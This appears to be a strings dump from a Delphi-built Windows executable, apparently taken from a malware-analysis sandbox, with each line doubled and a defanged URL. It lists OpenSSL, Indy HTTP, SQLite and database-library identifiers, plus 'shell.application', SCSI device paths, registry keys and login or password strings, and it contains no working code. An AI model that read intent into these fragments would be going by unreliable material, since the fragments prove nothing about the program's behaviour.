EVP_PKEY_sign_init

EVP_PKEY_sign_init

EVP_PKEY_sign

EVP_PKEY_sign

EVP_PKEY_verify_init

EVP_PKEY_verify_init

EVP_PKEY_verify

EVP_PKEY_verify

EVP_PKEY_verify_recover_init

EVP_PKEY_verify_recover_init

EVP_PKEY_verify_recover

EVP_PKEY_verify_recover

EVP_PKEY_encrypt_init

EVP_PKEY_encrypt_init

EVP_PKEY_encrypt

EVP_PKEY_encrypt

EVP_PKEY_decrypt_init

EVP_PKEY_decrypt_init

EVP_PKEY_decrypt

EVP_PKEY_decrypt

EVP_PKEY_derive_init

EVP_PKEY_derive_init

EVP_PKEY_derive_set_peer

EVP_PKEY_derive_set_peer

EVP_PKEY_derive

EVP_PKEY_derive

EVP_PKEY_paramgen_init

EVP_PKEY_paramgen_init

EVP_PKEY_paramgen

EVP_PKEY_paramgen

EVP_PKEY_keygen_init

EVP_PKEY_keygen_init

EVP_PKEY_keygen

EVP_PKEY_keygen

EVP_PKEY_CTX_set_cb

EVP_PKEY_CTX_set_cb

EVP_PKEY_CTX_get_cb

EVP_PKEY_CTX_get_cb

EVP_PKEY_CTX_get_keygen_info

EVP_PKEY_CTX_get_keygen_info

EVP_PKEY_meth_set_init

EVP_PKEY_meth_set_init

EVP_PKEY_meth_set_copy

EVP_PKEY_meth_set_copy

EVP_PKEY_meth_set_cleanup

EVP_PKEY_meth_set_cleanup

EVP_PKEY_meth_set_paramgen

EVP_PKEY_meth_set_paramgen

EVP_PKEY_meth_set_keygen

EVP_PKEY_meth_set_keygen

EVP_PKEY_meth_set_sign

EVP_PKEY_meth_set_sign

EVP_PKEY_meth_set_verify

EVP_PKEY_meth_set_verify

EVP_PKEY_meth_set_verify_recover

EVP_PKEY_meth_set_verify_recover

EVP_PKEY_meth_set_signctx

EVP_PKEY_meth_set_signctx

EVP_PKEY_meth_set_verifyctx

EVP_PKEY_meth_set_verifyctx

EVP_PKEY_meth_set_encrypt

EVP_PKEY_meth_set_encrypt

EVP_PKEY_meth_set_decrypt

EVP_PKEY_meth_set_decrypt

EVP_PKEY_meth_set_derive

EVP_PKEY_meth_set_derive

EVP_PKEY_meth_set_ctrl

EVP_PKEY_meth_set_ctrl

sslvrfFailIfNoPeerCert

sslvrfFailIfNoPeerCert

AMsg

AMsg

TCallbackExEvent

TCallbackExEvent

TPasswordEvent

TPasswordEvent

TPasswordEventEx

TPasswordEventEx

VPassword

VPassword

Certificate

Certificate

RootCertFile

RootCertFile

CertFile

CertFile

KeyFile

KeyFile

OnGetPassword,BH

OnGetPassword,BH

OnGetPasswordEx

OnGetPasswordEx

EIdOSSLLoadingRootCertError

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertErrorTQH

EIdOSSLLoadingCertErrorTQH

EIdOSSLLoadingKeyError

EIdOSSLLoadingKeyError

Open SSL Support DLL Delphi and C Builder interface

Open SSL Support DLL Delphi and C Builder interface

hXXp://VVV.indyproject.org/

hXXp://VVV.indyproject.org/

1993 - 2014

1993 - 2014

secur32.dll

secur32.dll

security.dll

security.dll

TIdHTTPOption

TIdHTTPOption

hoNoParseMetaHTTPEquiv

hoNoParseMetaHTTPEquiv

IdHTTP

IdHTTP

TIdHTTPOptions

TIdHTTPOptions

TIdHTTPProtocolVersion

TIdHTTPProtocolVersion

IdHTTP

IdHTTP

TIdHTTPOnRedirectEvent

TIdHTTPOnRedirectEvent

TIdHTTPOnHeadersAvailable

TIdHTTPOnHeadersAvailable

TIdHTTPResponse

TIdHTTPResponse

TIdHTTPResponseh

TIdHTTPResponseh

TIdHTTPRequest

TIdHTTPRequest

TIdHTTPRequest

TIdHTTPRequest

TIdHTTPProtocolD

TIdHTTPProtocolD

TIdCustomHTTP

TIdCustomHTTP

TIdCustomHTTPD

TIdCustomHTTPD

TIdHTTPD

TIdHTTPD

TIdHTTP

TIdHTTP

HTTPOptions

HTTPOptions

EIdHTTPProtocolException

EIdHTTPProtocolException

application/x-www-form-urlencoded

application/x-www-form-urlencoded

HTTP/1.0 200 OK

HTTP/1.0 200 OK

HTTP/

HTTP/

\\.\Scsi%d:

\\.\Scsi%d:

1.0.4

1.0.4

$URL$

$URL$

JclBase$URL$

JclBase$URL$

JCL\source\windows

JCL\source\windows

Windows-1252

Windows-1252

ole32.dll

ole32.dll

SOFTWARE\Microsoft\Windows NT\CurrentVersion

SOFTWARE\Microsoft\Windows NT\CurrentVersion

ccIDSBinaryOperator

ccIDSBinaryOperator

ccIDSTrinaryOperator

ccIDSTrinaryOperator

ccJoinControl

ccJoinControl

Mathematical Operators

Mathematical Operators

Supplemental Mathematical Operators

Supplemental Mathematical Operators

Transport And Map Symbols

Transport And Map Symbols

TRootKey

TRootKey

HKEY_CLASSES_ROOT

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_PERFORMANCE_DATA

HKEY_CURRENT_CONFIG

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

HKEY_DYN_DATA

EJclMutexError

EJclMutexError

TJclIntfCriticalSection$URL$

TJclIntfCriticalSection$URL$

TUnitVersioning$URL$

TUnitVersioning$URL$

!"#$%&*;@[]^_`{|}

!"#$%&*;@[]^_`{|}

EInvalidGraphicOperation

EInvalidGraphicOperation

USER32.DLL

USER32.DLL

comctl32.dll

comctl32.dll

uxtheme.dll

uxtheme.dll

MAPI32.DLL

MAPI32.DLL

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

JumpID("","%s")

TKeyEvent

TKeyEvent

TKeyPressEvent

TKeyPressEvent

HelpKeyword`

HelpKeyword`

crSQLWait

crSQLWait

%s (%s)

%s (%s)

imm32.dll

imm32.dll

AutoHotkeys|

AutoHotkeys|

AutoHotkeys

AutoHotkeys

ssHotTrack

ssHotTrack

TWindowState

TWindowState

poProportional

poProportional

TWMKey

TWMKey

KeyPreviewp

KeyPreviewp

WindowState

WindowState

OnKeyDown

OnKeyDown

OnKeyPress

OnKeyPress

OnKeyUp

OnKeyUp

Uh.qP

Uh.qP

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

vcltest3.dll

User32.dll

User32.dll

%s %s

%s %s

(%s%s)

(%s%s)

-%s%s

-%s%s

%s-%s

%s-%s

%s%s-

%s%s-

-%s %s

-%s %s

%s %s-

%s %s-

%s -%s

%s -%s

(%s- %s)

(%s- %s)

(%s %s)

(%s %s)

TSQLTimeStampVariantType

TSQLTimeStampVariantType

TSQLTimeStampData

TSQLTimeStampData

TSQLTimeStampDatah1Q

TSQLTimeStampDatah1Q

SqlTimSt

SqlTimSt

coInKey

coInKey

IADStanAsyncOperation

IADStanAsyncOperation

ftParadoxOle

ftParadoxOle

upWhereKeyOnly

upWhereKeyOnly

pfInKey

pfInKey

ImportedConstraintd

ImportedConstraintd

LookupKeyFields

LookupKeyFields

KeyFields

KeyFields

TSQLTimeStampField

TSQLTimeStampField

TSQLTimeStampField,

TSQLTimeStampField,

ImportedConstraint

ImportedConstraint

SQLTimeStamp

SQLTimeStamp

%s: %s

%s: %s

Uh.CR

Uh.CR

%s.%s

%s.%s

supports

supports

UhZ%S

UhZ%S

importNode

importNode

%s="%s"

%s="%s"

%s%s%s: %d%s%s

%s%s%s: %d%s%s

TADSQLTimeIntervalKind

TADSQLTimeIntervalKind

uADStanSQLTimeInt

uADStanSQLTimeInt

TADSQLTimeIntervalData

TADSQLTimeIntervalData

TADSQLTimeIntervalVariantType

TADSQLTimeIntervalVariantType

Cannot perform operation on non initialized interval value

Cannot perform operation on non initialized interval value

%u-%.2u

%u-%.2u

%u %.2u:%.2u:%.2u

%u %.2u:%.2u:%.2u

%u:%.2u:%.2u

%u:%.2u:%.2u

[%s] is not a valid interval

[%s] is not a valid interval

TADGUIxLoginHistoryStorage

TADGUIxLoginHistoryStorage

TADGUIxLoginDialogEvent

TADGUIxLoginDialogEvent

IADGUIxLoginDialog

IADGUIxLoginDialog

gcrSQLWait

gcrSQLWait

IADGUIxAsyncExecuteDialog

IADGUIxAsyncExecuteDialog

rvCmdExecMode

rvCmdExecMode

rvCmdExecTimeout

rvCmdExecTimeout

rvDirectExecute

rvDirectExecute

xoIfCmdsInactive

xoIfCmdsInactive

CmdExecMode

CmdExecMode

CmdExecTimeout

CmdExecTimeout

DirectExecuteh

DirectExecuteh

%sP%uY

%sP%uY

%sP%uM

%sP%uM

%sP%uD

%sP%uD

%sT%uH

%sT%uH

%sT%uM

%sT%uM

%sT%uS%uF

%sT%uS%uF

%sP%uY%uM

%sP%uY%uM

%sP%uDT%uH

%sP%uDT%uH

%sP%uDT%uH%uM

%sP%uDT%uH%uM

%sP%uDT%uH%uM%uS%uF

%sP%uDT%uH%uM%uS%uF

%sT%uH%uM

%sT%uH%uM

%sT%uH%uM%uS%uF

%sT%uH%uM%uS%uF

%sT%uM%uS%uF

%sT%uM%uS%uF

UhJ%U

UhJ%U

TADThreadMsgBase

TADThreadMsgBase

TADThreadStartMsg

TADThreadStartMsg

TADThreadStopMsg

TADThreadStopMsg

TADThreadTerminateMsg

TADThreadTerminateMsg

Failed to %s thread [%s].

Failed to %s thread [%s].

Timeout [%d] expired

Timeout [%d] expired

System error: %s

System error: %s

delphi32.exe

delphi32.exe

\StringFileInfo\%s\FileDescription

\StringFileInfo\%s\FileDescription

\StringFileInfo\%s\FileVersion

\StringFileInfo\%s\FileVersion

\StringFileInfo\%s\LegalCopyright

\StringFileInfo\%s\LegalCopyright

\StringFileInfo\%s\Comments

\StringFileInfo\%s\Comments

atPLSQLTable

atPLSQLTable

InKey

InKey

rsImportingCurent

rsImportingCurent

rsImportingOriginal

rsImportingOriginal

rsImportingProposed

rsImportingProposed

TADDatSForeignKeyConstraint

TADDatSForeignKeyConstraint

Uh.fV

Uh.fV

ChildKeyConstraint

ChildKeyConstraint

ParentKeyConstraint

ParentKeyConstraint

yyyy-mm-dd hh:nn:ss.zzz

yyyy-mm-dd hh:nn:ss.zzz

skExecute

skExecute

MSSQL

MSSQL

MYSQL

MYSQL

SQLITE

SQLITE

POSTGRESQL

POSTGRESQL

MySQL

MySQL

SQLite

SQLite

TADGUIxAsyncExecuteDialog

TADGUIxAsyncExecuteDialog

TADGUIxLoginDialog

TADGUIxLoginDialog

Object factory for class %s%s is missing

Object factory for class %s%s is missing

Class [%s] does not implement interface [%s]

Class [%s] does not implement interface [%s]

MSSQL2000

MSSQL2000

MSSQL2005

MSSQL2005

%s%s=%s%s%s%s

%s%s=%s%s%s%s

%s%s=%s%s

%s%s=%s%s

Password=*****

Password=*****

NewPassword

NewPassword

NewPassword=*****

NewPassword=*****

ADConnectionDefs.ini

ADConnectionDefs.ini

TADStanAsyncExecutor

TADStanAsyncExecutor

ARow.Table.Name

ARow.Table.Name

TADIndexes

TADIndexes

TADSQLTimeIntervalField

TADSQLTimeIntervalField

UpdateOptions.KeyFields

UpdateOptions.KeyFields

UpdateOptions.AutoIncFields

UpdateOptions.AutoIncFields

FSortView.SortingMechanism

FSortView.SortingMechanism

LocateRecord(AKeyFields)

LocateRecord(AKeyFields)

PSGetKeyFields

PSGetKeyFields

(SQLTimeInterval)

(SQLTimeInterval)

TADGUIxLoginDialogd

TADGUIxLoginDialogd

HistoryWithPassword

HistoryWithPassword

HistoryKeyt

HistoryKeyt

LoginRetries

LoginRetries

ChangeExpiredPassword

ChangeExpiredPassword

OnLogin

OnLogin

OnChangePasswordU

OnChangePasswordU

TADConnectionLoginEvent

TADConnectionLoginEvent

TADExecuteErrorEvent

TADExecuteErrorEvent

LoginDialog

LoginDialog

LoginPrompt

LoginPrompt

OnLogin

OnLogin

BeforeExecute

BeforeExecute

AfterExecute

AfterExecute

TADLocalSQLDataSet

TADLocalSQLDataSet

TADLocalSQLDataSets,

TADLocalSQLDataSets,

TADLocalSQLDataSets

TADLocalSQLDataSets

TADCustomLocalSQL

TADCustomLocalSQL

TADCustomLocalSQL,

TADCustomLocalSQL,

Indexes

Indexes

IndexesActive

IndexesActive

LocalSQL

LocalSQL

OnExecuteError

OnExecuteError

TADCustomCommand.Prepare

TADCustomCommand.Prepare

TADCustomCommand.Prepare - Exception

TADCustomCommand.Prepare - Exception

TADCustomCommand.Unprepare

TADCustomCommand.Unprepare

TADCustomCommand.Unprepare - Exception

TADCustomCommand.Unprepare - Exception

TADCustomCommand.InternalClose

TADCustomCommand.InternalClose

TADCustomCommand.InternalClose - Exception

TADCustomCommand.InternalClose - Exception

TADCustomCommand.InternalOpenFinished - Exception

TADCustomCommand.InternalOpenFinished - Exception

TADCustomCommand.InternalOpenFinished

TADCustomCommand.InternalOpenFinished

TADCustomCommand.InternalOpen

TADCustomCommand.InternalOpen

TADCustomCommand.InternalOpen - Exception

TADCustomCommand.InternalOpen - Exception

TADCustomCommand.InternalExecuteFinished - Exception

TADCustomCommand.InternalExecuteFinished - Exception

TADCustomCommand.InternalExecuteFinished

TADCustomCommand.InternalExecuteFinished

TADCustomCommand.InternalExecute

TADCustomCommand.InternalExecute

TADCustomCommand.InternalExecute - Exception

TADCustomCommand.InternalExecute - Exception

TADCustomCommand.FetchFinished - Exception

TADCustomCommand.FetchFinished - Exception

TADCustomCommand.FetchFinished

TADCustomCommand.FetchFinished

TADCustomCommand.Fetch

TADCustomCommand.Fetch

TADCustomCommand.Fetch - Exception

TADCustomCommand.Fetch - Exception

TADDefaultLocalSQLAdapter

TADDefaultLocalSQLAdapter

Password must be not empty

Password must be not empty

Invalid password is specified or DB is corrupted

Invalid password is specified or DB is corrupted

Invalid password is specified

Invalid password is specified

Cipher: Password must be not empty

Cipher: Password must be not empty

Cipher: failed to change the DB password

Cipher: failed to change the DB password

;.ud3

;.ud3

~.SWj

~.SWj

~.CB3

~.CB3

ABSOLUTE,ACTION,ADA,ADD,ALL,ALLOCATE,ALTER,AND,ANY,ARE,AS,ASC,ASSERTION,AT,AUTHORIZATION,AVG,BEGIN,BETWEEN,BIT,BIT_LENGTH,BOTH,BY,CASCADE,CASCADED,CASE,CAST,CATALOG,CHAR,CHAR_LENGTH,CHARACTER,CHARACTER_LENGTH,CHECK,CLOSE,COALESCE,COLLATE,COLLATION,COLUMN,COMMIT,CONNECT,CONNECTION,CONSTRAINT,CONSTRAINTS,CONTINUE,CONVERT,CORRESPONDING,COUNT,CREATE,CROSS,CURRENT,CURRENT_DATE,CURRENT_TIME,CURRENT_TIMESTAMP,CURRENT_USER,CURSOR,DATE,DAY,DEALLOCATE,DEC,DECIMAL,DECLARE,DEFAULT,DEFERRABLE,DEFERRED,DELETE,DESC,DESCRIBE,DESCRIPTOR,DIAGNOSTICS,DISCONNECT,DISTINCT,DOMAIN,DOUBLE,DROP,ELSE,END,END-EXEC,ESCAPE,EXCEPT,EXCEPTION,EXEC,EXECUTE,EXISTS,EXTERNAL,EXTRACT,FALSE,FETCH,FIRST,FLOAT,FOR,FOREIGN,FORTRAN,FOUND,FROM,FULL,GET,GLOBAL,GO,GOTO,GRANT,GROUP,HAVING,HOUR,IDENTITY,IMMEDIATE,IN,INCLUDE,INDEX,INDICATOR,INITIALLY,INNER,INPUT,INSENSITIVE,INSERT,INT,INTEGER,INTERSECT,INTERVAL,INTO,IS,ISOLATION,JOIN,KEY,LANGUAGE,LAST,LEADING,LEFT,LEVEL,LIKE,LOCAL,LOWER,MATCH,MAX,MIN,MINUTE,MODULE,MONTH,NAMES,NATIONAL,NATURAL,NCHAR,NEXT,NO,NONE,NOT,NULL,NULLIF,NUMERIC,OCTET_LENGTH,OF,ON,ONLY,OPEN,OPTION,OR,ORDER,OUTER,OUTPUT,OVERLAPS,PAD,PARTIAL,PASCAL,PLI,POSITION,PRECISION,PREPARE,PRESERVE,PRIMARY,PRIOR,PRIVILEGES,PROCEDURE,PUBLIC,READ,REAL,REFERENCES,RELATIVE,RESTRICT,REVOKE,RIGHT,ROLLBACK,ROWSSCHEMA,SCROLL,SECOND,SECTION,SELECT,SESSION,SESSION_USER,SET,SIZE,SMALLINT,SOME,SPACE,SQL,SQLCA,SQLCODE,SQLERROR,SQLSTATE,SQLWARNING,SUBSTRING,SUM,SYSTEM_USER,TABLE,TEMPORARY,THEN,TIME,TIMESTAMP,TIMEZONE_HOUR,TIMEZONE_MINUTE,TO,TRAILING,TRANSACTION,TRANSLATE,TRANSLATION,TRIM,TRUE,UNION,UNIQUE,UNKNOWN,UPDATE,UPPER,USAGE,USER,USING,VALUE,VALUES,VARCHAR,VARYING,VIEW,WHEN,WHENEVER,WHERE,WITH,WORK,WRITE,YEAR,ZONE

ABSOLUTE,ACTION,ADA,ADD,ALL,ALLOCATE,ALTER,AND,ANY,ARE,AS,ASC,ASSERTION,AT,AUTHORIZATION,AVG,BEGIN,BETWEEN,BIT,BIT_LENGTH,BOTH,BY,CASCADE,CASCADED,CASE,CAST,CATALOG,CHAR,CHAR_LENGTH,CHARACTER,CHARACTER_LENGTH,CHECK,CLOSE,COALESCE,COLLATE,COLLATION,COLUMN,COMMIT,CONNECT,CONNECTION,CONSTRAINT,CONSTRAINTS,CONTINUE,CONVERT,CORRESPONDING,COUNT,CREATE,CROSS,CURRENT,CURRENT_DATE,CURRENT_TIME,CURRENT_TIMESTAMP,CURRENT_USER,CURSOR,DATE,DAY,DEALLOCATE,DEC,DECIMAL,DECLARE,DEFAULT,DEFERRABLE,DEFERRED,DELETE,DESC,DESCRIBE,DESCRIPTOR,DIAGNOSTICS,DISCONNECT,DISTINCT,DOMAIN,DOUBLE,DROP,ELSE,END,END-EXEC,ESCAPE,EXCEPT,EXCEPTION,EXEC,EXECUTE,EXISTS,EXTERNAL,EXTRACT,FALSE,FETCH,FIRST,FLOAT,FOR,FOREIGN,FORTRAN,FOUND,FROM,FULL,GET,GLOBAL,GO,GOTO,GRANT,GROUP,HAVING,HOUR,IDENTITY,IMMEDIATE,IN,INCLUDE,INDEX,INDICATOR,INITIALLY,INNER,INPUT,INSENSITIVE,INSERT,INT,INTEGER,INTERSECT,INTERVAL,INTO,IS,ISOLATION,JOIN,KEY,LANGUAGE,LAST,LEADING,LEFT,LEVEL,LIKE,LOCAL,LOWER,MATCH,MAX,MIN,MINUTE,MODULE,MONTH,NAMES,NATIONAL,NATURAL,NCHAR,NEXT,NO,NONE,NOT,NULL,NULLIF,NUMERIC,OCTET_LENGTH,OF,ON,ONLY,OPEN,OPTION,OR,ORDER,OUTER,OUTPUT,OVERLAPS,PAD,PARTIAL,PASCAL,PLI,POSITION,PRECISION,PREPARE,PRESERVE,PRIMARY,PRIOR,PRIVILEGES,PROCEDURE,PUBLIC,READ,REAL,REFERENCES,RELATIVE,RESTRICT,REVOKE,RIGHT,ROLLBACK,ROWSSCHEMA,SCROLL,SECOND,SECTION,SELECT,SESSION,SESSION_USER,SET,SIZE,SMALLINT,SOME,SPACE,SQL,SQLCA,SQLCODE,SQLERROR,SQLSTATE,SQLWARNING,SUBSTRING,SUM,SYSTEM_USER,TABLE,TEMPORARY,THEN,TIME,TIMESTAMP,TIMEZONE_HOUR,TIMEZONE_MINUTE,TO,TRAILING,TRANSACTION,TRANSLATE,TRANSLATION,TRIM,TRUE,UNION,UNIQUE,UNKNOWN,UPDATE,UPPER,USAGE,USER,USING,VALUE,VALUES,VARCHAR,VARYING,VIEW,WHEN,WHENEVER,WHERE,WITH,WORK,WRITE,YEAR,ZONE

#INDEXES

#INDEXES

#PRIMARYKEYS

#PRIMARYKEYS

#PRIMARYKEYFIELDS

#PRIMARYKEYFIELDS

#FOREIGNKEYS

#FOREIGNKEYS

#FOREIGNKEYFIELDS

#FOREIGNKEYFIELDS

PKEY_NAME

PKEY_NAME

FKEY_NAME

FKEY_NAME

PKEY_CATALOG_NAME

PKEY_CATALOG_NAME

PKEY_SCHEMA_NAME

PKEY_SCHEMA_NAME

PKEY_TABLE_NAME

PKEY_TABLE_NAME

PKEY_COLUMN_NAME

PKEY_COLUMN_NAME

RESULTSET_KEY

RESULTSET_KEY

RESULTSET_KEY =

RESULTSET_KEY =

ADDrivers.ini

ADDrivers.ini

Uh.Sc

Uh.Sc

Table Indexes (

Table Indexes (

Table PKeys (

Table PKeys (

Table PKey Fields (

Table PKey Fields (

Table FKeys (

Table FKeys (

Table FKey Fields (

Table FKey Fields (

foreign key name

foreign key name

ESQLiteNativeException

ESQLiteNativeException

TSQLiteExtension

TSQLiteExtension

TSQLiteExtensionManagerH

TSQLiteExtensionManagerH

TSQLiteValue

TSQLiteValue

TSQLiteFuncVar

TSQLiteFuncVar

TSQLiteInput

TSQLiteInput

TSQLiteInputs

TSQLiteInputs

TSQLiteOutputD

TSQLiteOutputD

TSQLiteFunction

TSQLiteFunction

TSQLiteFunctionData

TSQLiteFunctionData

TSQLiteExpressionFunction

TSQLiteExpressionFunction

uADPhysSQLiteWrapper

uADPhysSQLiteWrapper

TSQLiteExpressionFunctionData

TSQLiteExpressionFunctionData

sqlite3_libversion

sqlite3_libversion

sqlite3_libversion_number

sqlite3_libversion_number

sqlite3_compileoption_used

sqlite3_compileoption_used

sqlite3_compileoption_get

sqlite3_compileoption_get

sqlite3_initialize

sqlite3_initialize

sqlite3_shutdown

sqlite3_shutdown

sqlite3_close

sqlite3_close

sqlite3_errcode

sqlite3_errcode

sqlite3_errmsg

sqlite3_errmsg

sqlite3_extended_result_codes

sqlite3_extended_result_codes

sqlite3_open

sqlite3_open

sqlite3_open_v2

sqlite3_open_v2

sqlite3_key

sqlite3_key

sqlite3_rekey

sqlite3_rekey

sqlite3_trace

sqlite3_trace

sqlite3_profile

sqlite3_profile

sqlite3_busy_timeout

sqlite3_busy_timeout

sqlite3_get_autocommit

sqlite3_get_autocommit

sqlite3_set_authorizer

sqlite3_set_authorizer

sqlite3_update_hook

sqlite3_update_hook

sqlite3_limit

sqlite3_limit

sqlite3_changes

sqlite3_changes

sqlite3_total_changes

sqlite3_total_changes

sqlite3_interrupt

sqlite3_interrupt

sqlite3_last_insert_rowid

sqlite3_last_insert_rowid

sqlite3_enable_shared_cache

sqlite3_enable_shared_cache

sqlite3_release_memory

sqlite3_release_memory

sqlite3_soft_heap_limit

sqlite3_soft_heap_limit

sqlite3_status

sqlite3_status

sqlite3_malloc

sqlite3_malloc

sqlite3_memory_used

sqlite3_memory_used

sqlite3_memory_highwater

sqlite3_memory_highwater

sqlite3_prepare

sqlite3_prepare

sqlite3_finalize

sqlite3_finalize

sqlite3_step

sqlite3_step

sqlite3_reset

sqlite3_reset

sqlite3_column_count

sqlite3_column_count

sqlite3_column_type

sqlite3_column_type

sqlite3_column_name

sqlite3_column_name

sqlite3_column_database_name

sqlite3_column_database_name

sqlite3_column_table_name

sqlite3_column_table_name

sqlite3_column_origin_name

sqlite3_column_origin_name

sqlite3_column_decltype

sqlite3_column_decltype

sqlite3_column_blob

sqlite3_column_blob

sqlite3_column_double

sqlite3_column_double

sqlite3_column_int64

sqlite3_column_int64

sqlite3_column_text

sqlite3_column_text

sqlite3_column_bytes

sqlite3_column_bytes

sqlite3_clear_bindings

sqlite3_clear_bindings

sqlite3_bind_parameter_count

sqlite3_bind_parameter_count

sqlite3_bind_parameter_index

sqlite3_bind_parameter_index

sqlite3_bind_parameter_name

sqlite3_bind_parameter_name

sqlite3_bind_blob

sqlite3_bind_blob

sqlite3_bind_double

sqlite3_bind_double

sqlite3_bind_int64

sqlite3_bind_int64

sqlite3_bind_null

sqlite3_bind_null

sqlite3_bind_text

sqlite3_bind_text

sqlite3_bind_value

sqlite3_bind_value

sqlite3_bind_zeroblob

sqlite3_bind_zeroblob

sqlite3_value_type

sqlite3_value_type

sqlite3_value_blob

sqlite3_value_blob

sqlite3_value_bytes

sqlite3_value_bytes

sqlite3_value_double

sqlite3_value_double

sqlite3_value_int64

sqlite3_value_int64

sqlite3_value_text

sqlite3_value_text

sqlite3_result_blob

sqlite3_result_blob

sqlite3_result_double

sqlite3_result_double

sqlite3_result_error

sqlite3_result_error

sqlite3_result_error_code

sqlite3_result_error_code

sqlite3_result_int64

sqlite3_result_int64

sqlite3_result_null

sqlite3_result_null

sqlite3_result_text

sqlite3_result_text

sqlite3_result_zeroblob

sqlite3_result_zeroblob

sqlite3_create_collation

sqlite3_create_collation

sqlite3_create_function

sqlite3_create_function

sqlite3_user_data

sqlite3_user_data

sqlite3_enable_load_extension

sqlite3_enable_load_extension

sqlite3_load_extension

sqlite3_load_extension

sqlite3_free

sqlite3_free

sqlite3_table_column_metadata

sqlite3_table_column_metadata

sqlite3_progress_handler

sqlite3_progress_handler

sqlite3_declare_vtab

sqlite3_declare_vtab

sqlite3_create_module

sqlite3_create_module

sqlite3_create_module_v2

sqlite3_create_module_v2

sqlite3_vfs_find

sqlite3_vfs_find

sqlite3_vfs_register

sqlite3_vfs_register

sqlite3_vfs_unregister

sqlite3_vfs_unregister

sqlite3_backup_init

sqlite3_backup_init

sqlite3_backup_step

sqlite3_backup_step

sqlite3_backup_finish

sqlite3_backup_finish

sqlite3_backup_remaining

sqlite3_backup_remaining

sqlite3_backup_pagecount

sqlite3_backup_pagecount

sqlite3_wal_hook

sqlite3_wal_hook

sqlite3_wal_autocheckpoint

sqlite3_wal_autocheckpoint

sqlite3_wal_checkpoint

sqlite3_wal_checkpoint

sqlite3_rtree_geometry_callback

sqlite3_rtree_geometry_callback

sqlite3_blob_open

sqlite3_blob_open

sqlite3_blob_close

sqlite3_blob_close

sqlite3_blob_bytes

sqlite3_blob_bytes

sqlite3_blob_read

sqlite3_blob_read

sqlite3_blob_write

sqlite3_blob_write

sqlite3_vtab_config

sqlite3_vtab_config

sqlite3_vtab_on_conflict

sqlite3_vtab_on_conflict

SQLITE_INTEGER

SQLITE_INTEGER

SQLITE_FLOAT

SQLITE_FLOAT

SQLITE_TEXT

SQLITE_TEXT

SQLITE_BLOB

SQLITE_BLOB

SQLITE_NULL

SQLITE_NULL

PRIMARY KEY must be unique

PRIMARY KEY must be unique

8.unj

8.unj

sqlite3

sqlite3

sqlite_version

sqlite_version

SQLiteNativeException

SQLiteNativeException

DriverID=SQLite

DriverID=SQLite

shell.application

shell.application

#!V!W!"!&!r%!%#%%%'%)%c%e%g%C%

#!V!W!"!&!r%!%#%%%'%)%c%e%g%C%

P%S%V%Y%\%

P%S%V%Y%\%

deflate 1.0.4 Copyright 1995-1996 Jean-loup Gailly

deflate 1.0.4 Copyright 1995-1996 Jean-loup Gailly

inflate 1.0.4 Copyright 1995-1996 Mark Adler

inflate 1.0.4 Copyright 1995-1996 Mark Adler

8$4,8$4

8$4,8$4

CREATE TABLE sqlite_master(

CREATE TABLE sqlite_master(

sql text

sql text

CREATE TEMP TABLE sqlite_temp_master(

CREATE TEMP TABLE sqlite_temp_master(

REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLYHerF

REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLYHerF

3.7.15

3.7.15

SQLITE_

SQLITE_